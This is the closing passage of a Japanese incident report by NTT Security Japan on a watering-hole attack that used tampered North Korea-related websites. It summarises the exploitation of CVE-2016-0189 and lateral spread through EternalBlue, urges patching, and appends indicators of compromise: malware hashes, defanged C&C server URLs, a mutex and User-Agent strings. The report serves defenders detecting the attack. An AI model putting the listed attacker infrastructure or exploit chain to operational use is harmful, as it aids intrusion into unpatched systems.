リサーチャーの成果をいち早く取り入れており、ネットワーク内部に侵入した後の攻撃に利用していることから、インターネットに直接つながっていない端末であってもセキュリティパッチを速やかに適用する必要があることを示す事例だと考えています。

42

5. おわりにNTT セキュリティのセキュリティオペレーションセンターでは、インシデント発生の防止、インシデント発生時の早期発見のためのリサーチ活動を行っており、本レポー
トでは、北朝鮮関連サイトを利用したドライブ・バイ・ダウンロード攻撃について調査を行いました。今回調査した朝鮮総連および朝鮮通信の Web サイトを起点とした攻撃
では、マルウェア感染後の接続先は異なっていましたが、マルウェアの感染挙動の特徴は同じであったことから、同じ攻撃者によるものだと考えられます。また、複数の北朝
鮮関連サイトを改ざんして攻撃の入口として利用していることから、本攻撃は北朝鮮の情報に関心のあるユーザーを狙った水飲み場型攻撃だと考えられます。調査により確認した攻撃の特徴は以下のとおりです。

 Internet Explorer の脆弱性（CVE-2016-0189）を悪用
 C&C サーバは日本・韓国リージョンの Amazon AWS 上に存在
 User-Agent、アクセス先ファイル名に MD5 ハッシュ値と思われる 32 バイトの文字列を利用 遠隔操作は手動


遠隔操作では EternalBlue（MS17-010）を悪用して感染を拡大

脆弱性攻撃には CVE-2016-0189 を悪用していたため、MS16-051/MS16-053 を適用していない Internet Explorer で改ざんサイトにアクセスした場合、マルウェアに感染し、遠隔操作等により情報漏えいの被害が発生している可能性があります。さらに、
MS17-010 を適用していない端末が存在する場合には感染が拡大している恐れがあります。被害の発生と拡大を防止するためパッチを適用しソフトウェアを最新の状態に保つとともに、本レポートで紹介した特徴の通信が発生していないか通信ログをご確認ください。付録には、IOC を記載しておりますので、ご活用いただければ幸いです。

43

6. 本レポートについて
レポート作成者
NTT セキュリティ・ジャパン株式会社
幾世知範、小澤文生、林匠悟

レポート責任者
NTT セキュリティ・ジャパン株式会社
横山恵一

履歴2017 年 8 月 21 日（ver1.0）: 初版公開

44

7. 参考文献[1] 産経新聞社, “朝鮮総連ＨＰにサイバー攻撃 プログラム改竄、閲覧すると情報盗まれる恐れ“,
http://www.sankei.com/affairs/news/170513/afr1705130004-n1.html[2] 在日本朝鮮人総連合会
http://www.chongryon.com[3] 朝鮮通信
http://www.kcna.co.jp[4] THEORI, “PATCH ANALYSIS OF CVE-2016-0189“,
http://theori.io/research/cve-2016-0189[5] Ankit Anubhav, Manish Sardiwal, “The journey and evolution of God Modein 2016: CVE-2016-0189“,
https://www.virusbulletin.com/virusbulletin/2017/01/journey-and-evoluti
on-god-mode-2016-cve-2016-0189/

45

8. 付録
北朝鮮関連サイトを利用した水飲み場型攻撃について、IOC を以下に示します。

検体ハッシュ値
ハッシュ値（MD5）説明2593a0ef1bea32cf23f4c8c42b814b2a

1 次検体

6a5ad1450a58a0da27066f53e3a94379

2 次検体

a72ca104fa41228f0cab31dadeea92c4

3 次検体

8f9dedaacaf8dd971b7d88a826acd90d

1 次検体

75eb3772141fc2123783cfcc59db6502

2 次検体

3918d5876061a0be96d58d912687b03f

3 次検体

59fc53d05aaf4196d560a5af6bf54d24

3 次検体

6564aeeacb3ec1eb195ba44ec9cb4621

uploader.exe

URL
URL

54.238.186[.]73/a7db98c120710f08ea5604f2bf622ac9.php
54.238.186[.]73/bb3537dc74ca56f5975c1f82818340ce.php
54.238.186[.]73/f7015a0edbf0564d9b34cf8addd9dff5.php
54.238.186[.]73/59c295edc8782dea64cde7fcbd292747.php
52.78.95[.]103/a7db98c120710f08ea5604f2bf622ac9.php
52.78.95[.]103/bb3537dc74ca56f5975c1f82818340ce.php
52.78.95[.]103/f7015a0edbf0564d9b34cf8addd9dff5.php
52.78.95[.]103/59c295edc8782dea64cde7fcbd292747.php

46

ミューテックス
検体ハッシュ値

6a5ad1450a58a0da27066f53e3a94379

Mutex
mutmutmut

User-Agent
User-Agent72b7579fe4095435679933ca351822a8
256f0751d6b26488ba98fd57d354ce2aea0ec5f659136deba37c324436a292ce

47